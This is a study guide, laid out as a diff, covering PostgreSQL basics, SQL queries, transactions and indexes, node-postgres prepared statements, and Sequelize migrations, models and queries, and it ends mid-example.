+- <span id="78c5">A database can be made up of many tables that each store specific kinds of information.</span>
+- <span id="f752">We could have a pets database that stores information about many different types of animals. Each animal type could potentially be represented by a different table.</span>
+
+**Define what a database table is**
+
+- <span id="04ae">Within a database, a table stores one specific kind of information.</span>
+- <span id="3878">The records (entries) on these tables can be connected to records on other tables through the use of foreign keys</span>
+- <span id="d6f9">In our pets database, we could have a dogs table, with individual records</span>
+
+**Describe the purpose of a primary key**
+
+- <span id="4d0e">A primary key is used in the database as a unique identifier for the table.</span>
+- <span id="8fb0">We often use an id field that simply increments with each entry. The incrementing ensures that each record has a unique identifier, even if their are other fields of the record that are repeated (two people with the same name would still need to have a unique identifier, for example).</span>
+- <span id="8876">With a unique identifier, we can easily connect records within the table to records from other tables.</span>
+
+**Describe the purpose of a foreign key**
+
+- <span id="cf54">A foreign key is used as the connector from this record to the primary key of another table s record.</span>
+- <span id="f397">In our pets example, we can imagine two tables to demonstrate: a table to represent cats and a table to represent toys. Each of these tables has a primary key of id that is used as the unique identifier. In order to make a connection between a toy and a cat, we can add another field to the cat table called owner_id , indicating that it is a foreign key for the cat table. By setting a toy s owner_id to the same value as a particular cat s id , we can indicate that the cat is the owner of that toy.</span>
+
+**Describe how to properly name things in PostgreSQL**
+
+- <span id="d6e6">Names within postgres should generally consist of only lowercase letters, numbers, and underscores.</span>
+- <span id="0fb3">Tables within a database are plural by convention, so a table for cats would typically be cats and office locations would be office_locations (all lowercase, underscores to replace spaces, plural)</span>
+
+**Connect to an instance of PostgreSQL with the command line tool psql**
+
+- <span id="1b7f">The psql command by default will try to connect to a database and username that matches your system s username</span>
+- <span id="1454">We connect to a different database by providing an argument to the psql command</span>
+- <span id="3439">psql pets</span>
+- <span id="fb37">To connect with a different username we can use the -U flag followed by the username we would like to use. To connect to the pets database as pets_user</span>
+- <span id="d357">psql -U pets_user pets</span>
+- <span id="e139">If there is a password for the user, we can tell psql that we would like a prompt for the password to show up by using the -W flag.</span>
+- <span id="8709">psql -U pets_user -W pets (the order of our flags doesn t matter, as long as any arguments associated with them are together, such as pets_user directly following -U in this example)</span>
+
+**Identify whether a user is a normal user or a superuser by the prompt in the psql shell**
+
+- <span id="8ff5">You can tell if you are logged in as a superuser or normal user by the prompt in the terminal.</span>
+- <span id="de97">If the prompt shows =&gt;, the user is a normal user</span>
+- <span id="7ce3">If the prompt show =\#, the user is a superuser</span>
+
+**Create a user for the relational database management system**
+
+- <span id="f4dc">Within psql, we can create a user with the CREATE USER {username} {WITH options} command.</span>
+- <span id="7eda">The most common options we ll want to use are WITH PASSWORD ‘mypassword’ to provide a password for the user we are creating, CREATEDB to allow the user to create new databases, or SUPERUSER to create a user with all elevated permissions.</span>
+
+**Create a database in the database management system**
+
+- <span id="3fff">We can use the command CREATE DATABASE {database name} {options} inside psql to create a new database.</span>
+- <span id="7d2f">A popular option we may utilize is WITH OWNER {owner name} to set another user as the owner of the database we are making.</span>
+
+**Configure a database so that only the owner (and superusers) can connect to it**
+
+- <span id="1a73">We can GRANT and REVOKE privileges from a database to users or categories of users.</span>
+- <span id="8795">In order to remove connection privileges to a database from the public we can use REVOKE CONNECT ON DATABASE {db_name} FROM PUBLIC;, removing all public connection access.</span>
+- <span id="ee98">If we wanted to grant it back, or to a specific user, we could similarly do GRANT CONNECT ON DATABASE {db_name} FROM {specific user, PUBLIC, etc.};</span>
+
+**View a list of databases in an installation of PostgreSQL**
+
+- <span id="2111">To list all databases we can use the \\l or \\list command in psql.</span>
+
+**Create tables in a database**
+
+    CREATE TABLE {table name} (
+    {columnA} {typeA},
+    {columnB} {typeB},
+    etc…
+    );
+
+- <span id="a2fc">The whitespace does not matter. Creating the SQL statements on multiple lines is easier to read, but just like JavaScript, they can be presented differently.</span>
+- <span id="a203">One common issue is that SQL does not like trailing commas, so the last column cannot have a comma after its type in this example.</span>
+
+**View a list of tables in a database**
+
+- <span id="964a">To list all database tables, use the \\dt command.</span>
+
+**Identify and describe the common data types used in PostgreSQL**
+
+- <span id="a2fd">There are many different data types that we can use in our tables, here are some common examples:</span>
+- <span id="1d53">SERIAL: autoincrementing, very useful for IDs</span>
+- <span id="78ce">VARCHAR(n): a string with a character limit of n</span>
+- <span id="2e02">TEXT: doesn t have character limit, but less performant</span>
+- <span id="c20e">BOOLEAN: true/false</span>
+- <span id="d525">SMALLINT: signed two-byte integer (-32768 to 32767)</span>
+- <span id="6b96">INTEGER: signed four-byte integer (standard)</span>
+- <span id="fa38">BIGINT: signed eight-byte integer (very large numbers)</span>
+- <span id="aa0c">NUMERIC: or DECIMAL, can store exact decimal values</span>
+- <span id="1fb6">TIMESTAMP: date and time</span>
+
+**Describe the purpose of the UNIQUE and NOT NULL constraints, and create columns in database tables that have them**
+
+- <span id="377b">In addition to the data type, we can provide flags for constraints to place on our column data.</span>
+- <span id="bda2">The UNIQUE flag indicates that the data for the column must not be repeated.</span>
+- <span id="e14c">By default we can create entries in our tables that are missing data from columns. When creating a pet, maybe we don t provide an age because we don t know it, for example. If we want to require that the data be present in order to create a new record, we can indicate that column must be NOT NULL.</span>
+- <span id="6745">In the example below, we are requiring our pets to have unique names and for them to be present (both UNIQUE and NOT NULL). We have no such constraints on the age column, allowing repetition of ages or their complete absence.</span>
+
+<!-- -->
+
+    CREATE TABLE pets (
+    id SERIAL PRIMARY KEY,
+    name VARCHAR(255) UNIQUE NOT NULL,
+    age SMALLINT
+    );
+
+**Create a primary key for a table**
+
+- <span id="da50">When creating a table we can indicate the primary key by passing in the column name to parentheses like so:</span>
+
+<!-- -->
+
+    CREATE TABLE people (
+    id SERIAL,
+    first_name VARCHAR(50),
+    last_name VARCHAR(50),
+    PRIMARY KEY (id)
+    );
+
+- <span id="4871">We could have also used the PRIMARY KEY flag on the column definition itself:</span>
+
+<!-- -->
+
+    CREATE TABLE people (
+    id SERIAL PRIMARY KEY,
+    first_name VARCHAR(50),
+    last_name VARCHAR(50)
+    );
+
+**Create foreign key constraints to relate tables**
+
+- <span id="e576">In our table definition, we can use the line FOREIGN KEY (foreign_key_stored_in_this_table) REFERENCE {other table} ({other_tables_key_name}) to connect two tables.</span>
+- <span id="4c08">This is probably easier to see in an example:</span>
+
+<!-- -->
+
+    CREATE TABLE people (
+    id SERIAL PRIMARY KEY,
+    first_name VARCHAR(50),
+    last_name VARCHAR(50)
+    );
+
+    CREATE TABLE pets (
+    id SERIAL PRIMARY KEY,
+    name VARCHAR(255),
+    age SMALLINT,
+    person_id INTEGER,
+    FOREIGN KEY (person_id) REFERENCES people (id)
+    );
+
+**SQL is not case sensitive for its keywords but is for its entity names**
+
+- <span id="7749">Exactly as the LO states, CREATE TABLE and create table are interpreted the same way. Using capitalization is a good convention in order to distinguish your keywords.</span>
+- <span id="7d1b">The entity names that we use ARE case-sensitive, however. So a table named pets is unique from a table named Pets. In general, we prefer to use all lowercase for our entities to avoid any of this confusion.</span>
+
+**SQL**
+
+1. How to use the SELECT … FROM … statement to select data from a single table
+
+- <span id="9202">Supply the column names in the SELECT clause. If we want all columns, we can also use \*</span>
+- <span id="9fdc">Supply the table names in the FROM clause</span>
+
+— Selects all columns from the friends table
+
+    SELECT
+    *
+    FROM
+    friends;
+
+— Selects the first_name column from the friends table (remember whitespace is ignored)  
+SELECT name  
+FROM friends;
+
+- <span id="ef22">Sometimes we may need to specify what table we are selecting a column from, particulurly if we had joined multiple tables together.</span>
+
+— Notice here we are indicating that we want the “name” field from the “friends” table as well as the “name” field from the “puppies” table. We indicate the table name by table.column  
+ — We are also aliasing these fields with the AS keyword so that our returned results have friend_name and puppy_name as field headers
+
+    SELECT
+    friends.name AS friend_name , puppies.name AS puppy_name
+    FROM
+    friends
+    JOIN
+    puppies ON friends.puppy_id = puppies.id
+
+**How to use the WHERE clause on SELECT, UPDATE, and DELETE statements to narrow the scope of the command**
+
+- <span id="6a59">The WHERE clause allows us to select or apply actions to records that match specific criteria instead of to a whole table.</span>
+- <span id="7ec8">We can use WHERE with a couple of different operators when making our comparison</span>
+- <span id="70eb">WHERE {column} = {value} provides an exact comparison</span>
+- <span id="79bf">WHERE {column} IN ({value1}, {value2}, {value3}, etc.) matches any provided value in the IN statement. We can make this more complex by having a subquery inside of the parentheses, having our column match any values within the returned results.</span>
+- <span id="150e">WHERE {column} BETWEEN {value1} AND {value2} can check for matches between two values (numeric ranges)</span>
+- <span id="9077">WHERE {column} LIKE {pattern} can check for matches to a string. This is most useful when we use the wildcard %, such as WHERE breed LIKE ‘%Shepherd’, which will match any breed that ends in Shepherd</span>
+- <span id="4a87">The NOT operator can also be used for negation in the checks.</span>
+- <span id="db35">Mathematical operators can be used when performing calculations or comparisons within a query as well, such as</span>
+
+<!-- -->
+
+    SELECT name, breed, weight_lbs FROM puppies WHERE weight_lbs > 50; — OR SELECT name, breed, age_yrs FROM puppies WHERE age_yrs * 10 = 5;
+
+**How to use the JOIN keyword to join two (or more) tables together into a single virtual table**
+
+- <span id="a391">When we want to get information from a related table or do querying based on related table values, we can join the connected table by comparing the foreign key to where it lines up on the other table:</span>
+
+— Here we are joining the puppies table on to the friends table. We are specifying that the comparison we should make is the foreign key puppy_id on the friends table should line up with the primary key id on the puppies table.
+
+    SELECT
+    *
+    FROM
+    friends
+    JOIN
+    puppies ON friends.puppy_id = puppies.id
+
+**How to use the INSERT statement to insert data into a table**
+
+- <span id="b3e7">When a table is already created we can then insert records into it using the INSERT INTO keywords.</span>
+- <span id="d4d3">We provide the name of the table that we would like to add records to, followed by the VALUES keyword and each record we are adding. Here s an example:</span>
+
+— We are providing the table name, then multiple records to insert  
+ — The values are listed in the order that they are defined on the table
+
+    INSERT INTO table_name
+    VALUES
+    (column1_value, colum2_value, column3_value),
+    (column1_value, colum2_value, column3_value),
+    (column1_value, colum2_value, column3_value);
+
+- <span id="123c">We can also specify columns when we are inserting data. This makes it clear which fields we are providing data for and allows us to provide them out of order, skip null or default values, etc.</span>
+
+— In this example, we want to use the default value for id since it is autoincremented, so we provide DEFAULT for this field
+
+    INSERT INTO friends (id, first_name, last_name)
+    VALUES
+    (DEFAULT, ‘Amy’, ‘Pond’);
+
+— Alternatively, we can leave it out completely, since the default value will be used if none is provided
+
+    INSERT INTO friends (first_name, last_name)
+    VALUES
+    (‘Rose’, ‘Tyler’),
+    (‘Martha’, ‘Jones’),
+    (‘Donna’, ‘Noble’),
+    (‘River’, ‘Song’);
+
+**How to use an UPDATE statement to update data in a table**
+
+- <span id="8e80">The UPDATE keyword can be used to find records and change their values in our database.</span>
+- <span id="91b5">We generally follow the pattern of UPDATE {table} SET {column} = {new value} WHERE {match condition};.</span>
+- <span id="5fff">Without a condition to narrow our records down, we will update every record in the table, so this is an important thing to double check!</span>
+- <span id="cdee">We can update multiple fields as well by specifying each column in parentheses and their associated new values: UPDATE {table} SET ({column1}, {column2}) = ({value1}, {value2}) WHERE {match condition};</span>
+
+— Updates the pet with id of 4 to change their name and breed
+
+    UPDATE
+    pets
+    SET
+    (name, breed) = (‘Floofy’, ‘Fluffy Dog Breed’) WHERE id = 4;
+
+**How to use a DELETE statement to remove data from a table**
+
+- <span id="1c5e">Similar to selecting records, we can delete records from a table by specifying what table we are deleting from and what criteria we would like to match in order to delete.</span>
+- <span id="1b25">We follow the general structure DELETE FROM {table} WHERE {condition};</span>
+- <span id="0e74">The condition here is also very important! Without a condition, all records match and will be deleted.</span>
+
+— Deletes from the pets table any record that either has a name Floofy, a name Doggo, or an id of 3.
+
+    DELETE FROM
+    pets
+    WHERE
+    name IN (‘Floofy’, ‘Doggo’) OR id = 3;
+
+**How to use a seed file to populate data in a database**
+
+- <span id="687c">Seed files are a great way for us to create records that we want to start our database out with.</span>
+- <span id="80f6">Instead of having to individually add records to our tables or manually entering them in psql or postbird, we can create a file that has all of these records and then just pass this file to psql to run.</span>
+- <span id="28da">Seed files are also great if we ever need to reset our database. We can clear out any records that we have by dropping all of our tables, then just run our seed files to get it into a predetermined starting point. This is great for our personal projects, testing environments, starting values for new tables we create, etc.</span>
+- <span id="22c5">There are two main ways we can use a seed file with psql, the &lt; and the | operators. They perform the same function for us, just in slightly different orders, taking the content of a .sql file and executing in within the psql environment:</span>
+- <span id="19c8">psql -d {database} &lt; {sql filepath}</span>
+- <span id="7ec0">cat {sql filepath} | psql -d {database}</span>
+
+**SQL (continued)**
+
+**How to perform relational database design**
+
+- <span id="8204">Steps to Designing the Database:</span>
+- <span id="0276">Define the entities. What data are are you storing, what are the fields for each entity?</span>
+- <span id="cd73">You can think of this in similar ways to OOP (object oriented programming).</span>
+- <span id="0cf7">If you wanted to model this information using classes, what classes would you make? Those are generally going to be the tables that are created in your database.</span>
+- <span id="57f4">The attributes of your classes are generally going to be the fields/columns that we need for each table.</span>
+- <span id="0681">Identify primary keys. Most of the time these will be ids that you can generate as a serial field, incrementing with each addition to the database.</span>
+- <span id="99da">Establish table relationships. Connect related data together with foreign keys. Know how we store these keys in a one-to-one, one-to-many, or many-to-many relationship.</span>
+- <span id="c8c4">With a one-to-one or one-to-many relationship, we are able to use a foreign key on the table to indicate the other specific record that it is connected to.</span>
+- <span id="2e56">With a many-to-many relationship, each record could be connected to multiple records, so we have to create a join table to connect these entities. A record on this join table connects a record from one table to a record from another table.</span>
+
+**How to use transactions to group multiple SQL commands into one succeed or fail operation**
+
+- <span id="6bfa">We can define an explicit transaction using BEGIN and ending with either COMMIT or ROLLBACK.</span>
+- <span id="0c34">If any command inside the block fails, everything will be rolled back. We can also specify that we want to roll back at the end of the block instead of committing. We saw that this can be useful when analyzing operations that would manipulate our database.</span>
+
+<!-- -->
+
+    BEGIN;
+    UPDATE accounts SET balance = balance — 100.00
+    WHERE name = ‘Alice’;
+    UPDATE branches SET balance = balance — 100.00
+    WHERE name = (SELECT branch_name FROM accounts WHERE name = ‘Alice’);
+    UPDATE accounts SET balance = balance + 100.00
+    WHERE name = ‘Bob’;
+    UPDATE branches SET balance = balance + 100.00
+    WHERE name = (SELECT branch_name FROM accounts WHERE name = ‘Bob’);
+    COMMIT;
+
+    BEGIN;
+    EXPLAIN ANALYZE
+    UPDATE cities
+    SET city = ‘New York City’
+    WHERE city = ‘New York’;
+    ROLLBACK;
+
+**How to apply indexes to tables to improve performance**
+
+- <span id="704c">An index can help optimize queries that we have to run regularly. If we are constantly looking up records in a table by a particular field (such as username or phone number), we can add an index in order to speed up this process.</span>
+- <span id="142a">An index maintains a sorted version of the field with a reference to the record that it points to in the table (via primary key). If we want to find a record based on a field that we have an index for, we can look through this index in a more efficient manner than having to scan through the entire table (generally O(log n) since the index is sorted, instead of O(n) for a sequential scan).</span>
+- <span id="2c8f">To add an index to a field we can use the following syntax:</span>
+
+<!-- -->
+
+    CREATE INDEX index_name ON table_name (column_name);
+
+- <span id="a6d3">To drop an index we can do the following:</span>
+
+<!-- -->
+
+    DROP INDEX index_name
+
+- <span id="12fa">Making an index is not always the best approach. Indices allow for faster lookup, but slow down record insertion and the updating of associated fields, since we not only have to add the information to the table, but also manipulate the index.</span>
+- <span id="0ef6">We generally wouldn t care about adding an index if:</span>
+- <span id="8833">The tables are small</span>
+- <span id="b3b0">We are updating the table frequently, especially the associated columns</span>
+- <span id="5ebd">The column has many NULL values</span>
+
+**Explain what the EXPLAIN command is used for:**
+
+- <span id="36da">EXPLAIN gives us information about how a query will run (the query plan)</span>
+- <span id="482c">It gives us an idea of how our database will search for data as well as a qualitative comparitor for how expensive that operation will be. Comparing the cost of two queries will tell us which one is more efficient (lower cost).</span>
+- <span id="c7c7">We can also use the ANALYZE command with EXPLAIN, which will actually run the specified query. Doing so gives us more detailed information, such as the milliseconds it took our query to execute as well as specifics like the exact number of rows filtered and returned.</span>
+
+1. Demonstrate how to install and use the node-postgres library and its Pool class to query a PostgreSQL-managed database
+
+- <span id="8f73">We can add the node-postgres library to our application with npm install pg. From there we will typically use the Pool class associated with this library. That way we can run many SQL queries with one database connection (as opposed to Client, which closes the connection after a query).</span>
+
+<!-- -->
+
+    const { Pool } = require(‘pg’);
+
+// If we need to specify a username, password, or database, we can do so when we create a Pool instance, otherwise the default values for logging in to psql are used:
+
+    const pool = new Pool({ username: ‘<<username>>’, password: ‘<<password>>’, database: ‘<<database>>’})
+
+- <span id="a267">The query method on the Pool instance will allow us to execute a SQL query on our database. We can pass in a string that represents the query we want to run</span>
+
+<!-- -->
+
+    const allAirportsSql = `
+    SELECT id, city_id, faa_id, name
+    FROM airports;
+    `;
+
+    async function selectAllAirports() {
+    const results = await pool.query(allAirportsSql);
+    console.log(results.rows);
+    pool.end(); // invoking end() will close our connection to the database
+    }
+
+selectAllAirports();
+
+- <span id="edf8">The return value of this asynchronous function is an object with a rows key that points to an array of objects, each object representing a record with field names as keys.</span>
+
+**Explain how to write prepared statements with placeholders for parameters of the form $1 , $2 , and so on**
+
+- <span id="ee72">The prepared statement (SQL string that we wrote) can also be made more dynamic by allowing for parameters to be passed in.</span>
+- <span id="3b64">The Pool instance s query function allows us to pass a second argument, an array of parameters to be used in the query string. The location of the parameter substitutions are designated with $1, $2, etc., to signify the first, second, etc., arguments.</span>
+
+<!-- -->
+
+    const airportsByNameSql = `
+    SELECT name, faa_id
+    FROM airports
+    WHERE UPPER(name) LIKE UPPER($1)
+    `;
+
+async function selectAirportsByName(name) {  
+const results = await pool.query(airportsByNameSql, \[ \`%${name}%\` \]);  
+console.log(results.rows);  
+pool.end(); // invoking end() will close our connection to the database  
+}
+
+    // Get the airport name from the command line and store it
+    // in the variable “name”. Pass that value to the
+    // selectAirportsByName function.
+    const name = process.argv[2];
+    // console.log(name);
+    selectAirportsByName(name);
+
+**ORM**
+
+1. How to install, configure, and use Sequelize, an ORM for JavaScript
+
+- <span id="0e86">To start a new project we use our standard npm initialize statement</span>
+- <span id="7bf0">npm init -y</span>
+- <span id="564b">Add in the packages we will need (sequelize, sequelize-cli, and pg)</span>
+- <span id="9c9b">npm install sequelize@⁵.0.0 sequelize-cli@⁵.0.0 pg@⁸.0.0</span>
+- <span id="0b1c">Initialize sequelize in our project</span>
+- <span id="8052">npx sequelize-cli init</span>
+- <span id="d03e">Create a database user with credentials we will use for the project</span>
+- <span id="bbc8">psql</span>
+- <span id="caca">CREATE USER example_user WITH PASSWORD ‘badpassword’</span>
+- <span id="72ab">Here we can also create databases since we are already in postgres</span>
+
+<!-- -->
+
+    CREATE DATABASE example_app_development WITH OWNER example_user
+
+    CREATE DATABASE example_app_test WITH OWNER example_user
+
+    CREATE DATABASE example_app_production WITH OWNER example_user
+
+- <span id="ae27">If we don t create these databases now, we could also create them after we make our changes to our config file. If we take this approach, we need to make sure our user that we created has the CREATEDB option when we make them, since sequelize will attempt to make the databases with this user. This other approach would look like:</span>
+- <span id="f6a3">In psql: CREATE USER example_user WITH PASSWORD ‘badpassword’ CREATEDB</span>
+- <span id="45ac">In terminal: npx sequelize-cli db:create</span>
+- <span id="cff2">Double check that our configuration file matches our username, password, database, dialect, and seederStorage (these will be filled out for you in an assessment scenario):</span>
+
+<!-- -->
+
+    {
+    “development”: {
+    “username”: “sequelize_recipe_box_app”,
+    “password”: “HfKfK79k”,
+    “database”: “recipe_box_development”,
+    “host”: “127.0.0.1”,
+    “dialect”: “postgres”,
+    “seederStorage”: “sequelize”
+    },
+    “test”: {
+    “username”: “sequelize_recipe_box_app”,
+    “password”: “HfKfK79k”,
+    “database”: “recipe_box_test”,
+    “host”: “127.0.0.1”,
+    “dialect”: “postgres”,
+    “seederStorage”: “sequelize”
+    },
+    “production”: {
+    “username”: “sequelize_recipe_box_app”,
+    “password”: “HfKfK79k”,
+    “database”: “recipe_box_production”,
+    “host”: “127.0.0.1”,
+    “dialect”: “postgres”,
+    “seederStorage”: “sequelize”
+    }
+    }
+
+1. How to use database migrations to make your database grow with your application in a source-control enabled way
+
+**Migrations**
+
+- <span id="3710">In order to make new database tables and sequelize models that reflect them, we want to generate a migration file and model file using model:generate</span>
+
+<!-- -->
+
+    npx sequelize-cli model:generate — name Cat — attributes “firstName:string,specialSkill:string”
+
+- <span id="bc91">Here we are creating a migration file and a model file for a Cat. We are specifying that we want this table to have fields for firstName and specialSkill. Sequelize will automatically make fields for an id, createdAt, and updatedAt, as well, so we do not need to specify these.</span>
+- <span id="4d04">Once our migration file is created, we can go in and edit any details that we need to. Most often we will want to add in database constraints such as allowNull: false, adding a uniqueness constraint with unique: true, adding in character limits to fields such as type: Sequelize.STRING(100), or specifying a foreign key with references to another table references: { model: ‘Categories’ }.</span>
+- <span id="ca79">After we make any necessary changes to our migration file, we need to perform the migration, which will run the SQL commands to actually create the table.</span>
+
+<!-- -->
+
+    npx sequelize-cli db:migrate
+
+- <span id="78a8">This command runs any migration files that have not been previously run, in the order that they were created (this is why the timestamp in the file name is important)</span>
+- <span id="0790">If we realize that we made a mistake after migrating, we can undo our previous migration, or all of our migrations. After undoing them, we can make any changes necessary to our migration files (They won t be deleted from the undo, so we don t need to generate anything! Just make the necessary changes to the files that already exist and save the files.). Running the migrations again will make the tables with the updates reflected.</span>
+
+<!-- -->
+
+    npx sequelize-cli db:migrate:undo
+
+    npx sequelize-cli db:migrate:undo:all
+
+**Models Validations and Associations**
+
+- <span id="a4dd">In addition to the migration files, our model:generate command also created a model file for us. This file is what allows sequelize to transform the results of its SQL queries into useful JavaScript objects for us.</span>
+- <span id="5c70">The model is where we can specify a validation that we want to perform before trying to run a SQL query. If the validation fails, we can respond with a message instead of running the query, which can be an expensive operation that we know won t work.</span>
+
+<!-- -->
+
+    // Before we make changes, sequelize generates the type that this field represents specification:
+    DataTypes.TEXT
+    // We can replace the generated format with an object to specify not only the type, but the validations that we want to implement. The validations can also take in messages the respond with on failure and arguments.
+    specification: {
+        type: DataTypes.TEXT,
+        validate: {
+            notEmpty: {
+                msg: 'The specification cannot be empty'
+            },
+            len: {
+                args: [10, 100]
+                msg: 'The specifcation must be between 10 and 100 characters'
+            }
+        }
+    }
+
+- <span id="94ef">Another key part of the model file is setting up our associations. We can use the belongsTo, hasMany, and belongsToMany methods to set up model-level associations. Doing so is what creates the helpful functionality like addOwner that we saw in the pets example, a function that automatically generates the SQL necessary to create a petOwner record and supplies the appropriate petId and ownerId.</span>
+- <span id="e5fc">In a one-to-many association, we need to have a belongsTo association on the many side, and a hasMany association on the one side:</span>
+- <span id="21c2">Instruction.belongsTo(models.Recipe, { foreignKey: ‘recipeId’ });</span>
+- <span id="6e6b">Recipe.hasMany(models.Instruction, { foreignKey: ‘recipeId’ });</span>
+- <span id="7d6a">In a many-to-many association, we need to have a belongsToMany on each side of the association. We generally specify a columnMapping object to show the association more clearly:</span>
+
+<!-- -->
+
+    // In our Owner model
+
+    // To connect this Owner to a Pet through the PetOwner
+
+    const columnMapping = {
+
+    through: ‘PetOwner’,
+
+    // joins table
+
+    otherKey: ‘petId’,
+
+    // key that connects to other table we have a many association with foreignKey: ‘ownerId’
+
+    // our foreign key in the joins table
+
+    }
+
+    Owner.belongsToMany( models.Pet, columnMapping );
+
+    // In our Pet model
+
+    // To connect this Pet to an Owner through the PetOwner
+
+    const columnMapping = { through: ‘PetOwner’,
+
+    // joins table
+
+    otherKey: ‘ownerId’,
+
+    // key that connects to other table we have a many association with
+
+    foreignKey: ‘petId’
+
+    // our foreign key in the joins table
+
+    }
+
+    Pet.belongsToMany( models.Owner, columnMapping );
+
+### **How to perform CRUD operations with Sequelize**
+
+- <span id="fc1a">Seed Files</span>
+- <span id="ad49">Seed files can be used to populate our database with starter data.</span>
+- <span id="9058">npx sequelize-cli seed:generate — name add-cats</span>
+- <span id="d2cf">up indicates what to create when we seed our database, down indicates what to delete if we want to unseed the database.</span>
+- <span id="d605">For our up, we use the queryInterface.bulkInsert() method, which takes in the name of the table to seed and an array of objects representing the records we want to create:</span>
+
+<!-- -->
+
+    up: (queryInterface, Sequelize) => {
+        return queryInterface.bulkInsert('<<TableName>>', [{
+            field1: value1a,
+            field2: value2a
+        }, {
+            field1: value1b,
+            field2: value2b
+        }, {
+            field1: value1c,
+            field2: value2c
+        }]);
+    }
+
+- <span id="0cb9">For our down, we use the queryInterface.bulkDelete() method, which takes in the name of the table and an object representing our WHERE clause. Unseeding will delete all records from the specified table that match the WHERE clause.</span>
+
+<!-- -->
+
+    // If we want to specify what to remove:
+    down: (queryInterface, Sequelize) => {
+    return queryInterface.bulkDelete(‘<<TableName>>’, {
+    field1: [value1a, value1b, value1c], //…etc.
+    });
+    };
+    // If we want to remove everything from the table:
+    down: (queryInterface, Sequelize) => {
+    return queryInterface.bulkDelete(‘<<TableName>>’, null, {});
+    };
+
+- <span id="c9e3">Running npx sequelize-cli db:seed:all will run all of our seeder files.</span>
+- <span id="8778">npx sequelize-cli db:seed:undo:all will undo all of our seeding.</span>
+- <span id="d655">If we omit the :all we can run specific seed files</span>
+- <span id="4788">Inserting with Build and Create</span>
+- <span id="fc2d">In addition to seed files, which we generally use for starter data, we can create new records in our database by using build and save, or the combined create</span>
+- <span id="3807">Use the .build method of the Cat model to create a new Cat instance in index.js</span>
+
+<!-- -->
+
+    // Constructs an instance of the JavaScript `Cat` class. **Does not
+    // save anything to the database yet**. Attributes are passed in as a
+    // POJO.
+    const newCat = Cat.build({
+        firstName: 'Markov',
+        specialSkill: 'sleeping',
+        age: 5
+    });
+    // This actually creates a new `Cats` record in the database. We must
+    // wait for this asynchronous operation to succeed.
+    await newCat.save();
+    // This builds and saves all in one step. If we don't need to perform any operations on the instance before saving it, this can optimize our code.
+    const newerCat = await Cat.create({
+        firstName: 'Whiskers',
+        specialSkill: 'sleeping',
+        age: 2
+    })
+
+**Updating Records**
+
+- <span id="4ecc">When we have a reference to an instance of a model (i.e. after we have queried for it or created it), we can update values by simply reassigning those fields and using the save method</span>
+
+**Deleting Records**
+
+- <span id="606a">When we have a reference to an instance of a model, we can delete that record by using destroy</span>
+- <span id="be30">const cat = await Cat.findByPk(1); // Remove the Markov record. await cat.destroy();</span>
+- <span id="0b7f">We can also call destroy on the model itself. By passing in an object that specifies a where clause, we can destroy all records that match that query</span>
+- <span id="5f9f">await Cat.destroy({ where: { specialSkill: ‘jumping’ } });</span>
+
+**How to query using Sequelize**
+
+**findAll**
+
+    const cats = await Cat.findAll();
+    // Log the fetched cats.
+    // The extra arguments to stringify are a replacer and a space respectively
+    // Here we're specifying a space of 2 in order to print more legibly
+    // We don't want a replacer, so we pass null just so that we can pass a 3rd argument
+    console.log(JSON.stringify(cats, null, 2));
+
+**WHERE clause**
+
+- <span id="e68d">Passing an object to findAll can add on clauses to our query</span>
+- <span id="ec33">The where key takes an object as a value to indicate what we are filtering by</span>
+- <span id="aa61">{ where: { field: value } } =&gt; WHERE field = value</span>
+
+<!-- -->
+
+    const cats = await Cat.findAll({ where: { firstName: “Markov” } }); console.log(JSON.stringify(cats, null, 2));
+
+**OR in the WHERE clause**
+
+- <span id="755e">Using an array for the value tells sequelize we want to match any of these values</span>
+
+{ where: { field: \[value1, value2\] } =&gt; WHERE field IN (value1, value2)
+
+    const cats = await Cat.findAll({ where: { firstName: [“Markov”, “Curie”] } });const cats = await Cat.findAll({
+        where: {
+            firstName: "Markov",
+            age: 4
+        }
+    });
+    console.log(JSON.stringify(cats, null, 2));
+
+    console.log(JSON.stringify(cats, null, 2));
+
+**AND in the WHERE clause**
+
+- <span id="afbb">Providing additional key/value pairs to the where object indicates all filters must match</span>
+- <span id="45a1">{ where: { field1: value1, field2: value2 } } =&gt; WHERE field1 = value1 AND field2 = value2</span>
+
+### Sequelize Op operator
+
+- <span id="dd6a">By requiring Op from the sequelize library we can provide more advanced comparison operators</span>
+- <span id="0a01">const { Op } = require(“sequelize”);</span>
+- <span id="8936">Op.ne: Not equal operator</span>
+
+<!-- -->
+
+    const cats = await Cat.findAll({
+        where: {
+            firstName: {
+                // All cats where the name is not equal to "Markov"
+                // We use brackets in order to evaluate Op.ne and use the value as the key
+                [Op.ne]: "Markov"
+            },
+        },
+    });
+    console.log(JSON.stringify(cats, null, 2));
+
+### Op.and: and operator
+
+    const cats = await Cat.findAll({
+        where: {
+            // The array that Op.and points to must all be true
+            // Here, we find cats where the name is not "Markov" and the age is 4
+            [Op.and]: [{
+                firstName: {
+                    [Op.ne]: "Markov"
+                }
+            }, {
+                age: 4
+            }, ],
+        },
+    });
+    console.log(JSON.stringify(cats, null, 2));
+
+### Op.or: or operator
+
+    const cats = await Cat.findAll({
+        where: {
+            // One condition in the array that Op.or points to must be true
+            // Here, we find cats where the name is "Markov" or where the age is 4
+            [Op.or]: [{
+                firstName: "Markov"
+            }, {
+                age: 4
+            }, ],
+        },
+    });
+    console.log(JSON.stringify(cats, null, 2));
+
+Op.gt and Op.lt: greater than and less than operators
+
+const cats = await Cat.findAll({ where: { // Find all cats where the age is greater than 4 age: { \[Op.gt\]: 4 }, } }, }); console.log(JSON.stringify(cats, null, 2));
+
+#### Ordering results
+
+- <span id="4ee4">Just like the where clause, we can pass an order key to specify we want our results ordered</span>
+- <span id="46a6">The key order points to an array with the fields that we want to order by</span>
+- <span id="ba7f">By default, the order is ascending, just like standard SQL. If we want to specify descending, we can instead use a nested array with the field name as the first element and DESC as the second element. (We could also specify ASC as a second element in a nested array, but it is unnecessary as it is default)</span>
+- <span id="f9f9">const cats = await Cat.findAll({ // Order by age descending, then by firstName ascending if cats have the same age order: \[\[“age”, “DESC”\], “firstName”\], }); console.log(JSON.stringify(cats, null, 2));</span>
+
+<!-- -->
+
+    // Get a reference to the cat record that we want to update (here just the cat with primary key of 1)
+    const cat = await Cat.findByPk(1);
+    // Change cat's attributes.
+    cat.firstName = "Curie";
+    cat.specialSkill = "jumping";
+    cat.age = 123;
+    // Save the new name to the database.
+    await cat.save();
+
+- <span id="c46e">Limiting results</span>
+- <span id="8e6f">We can provide a limit key in order to limit our results to a specified number</span>
+
+<!-- -->
+
+    const cats = await Cat.findAll({
